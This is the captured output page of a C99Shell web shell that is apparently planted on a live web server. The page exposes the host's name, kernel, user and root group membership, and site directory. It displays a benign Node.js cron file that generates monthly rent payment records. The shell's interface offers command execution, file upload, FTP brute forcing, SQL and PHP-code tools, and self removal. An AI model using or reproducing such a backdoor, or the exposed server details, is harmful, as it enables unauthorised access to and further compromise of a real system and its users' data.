!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/rentals.picotech.app/public_html/server/jobs/   drwxrwxr-x
Free 23.62 GB of 117.98 GB (20.02%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     cronJobs.js (1.5 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
import cron from 'node-cron';
import { Renter, RentPayment } from '../models/index.js';


cron.schedule('0 0 * * *', async () => {
  await dailyTask();
});

// cron.schedule('* * * * *', async () => {
//   console.log('Running task every minute:', new Date());
//   await dailyTask();
// });

async function dailyTask() {
  try {
    const renters = await Renter.findAll({
      order: [['created_at', 'DESC']],
    });

    const nowDate = new Date();
    const monthNames = [
      'January', 'February', 'March', 'April', 'May', 'June',
      'July', 'August', 'September', 'October', 'November', 'December'
    ];
    const currentMonth = monthNames[nowDate.getMonth()];
    const currentYear = nowDate.getFullYear();

    for (const renter of renters) {
      const existingPayment = await RentPayment.findOne({
        where: {
          renter_id: renter.id,
          month: currentMonth,
          year: currentYear,
        },
      });

      if (!existingPayment) {
        await RentPayment.create({
          renter_id: renter.id,
          renterName: renter.name,
          room_number: renter.room_id,
          user_id: renter.user_id,
          amount: renter.rent_amount,
          due_date: nowDate,
          status: 'pending',
          month: currentMonth,
          year: currentYear,
        });
      }
    }

    console.log('Rent requests created successfully.');
  } catch (err) {
    console.error('Failed to create rent requests:', err);
  }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0092 ]--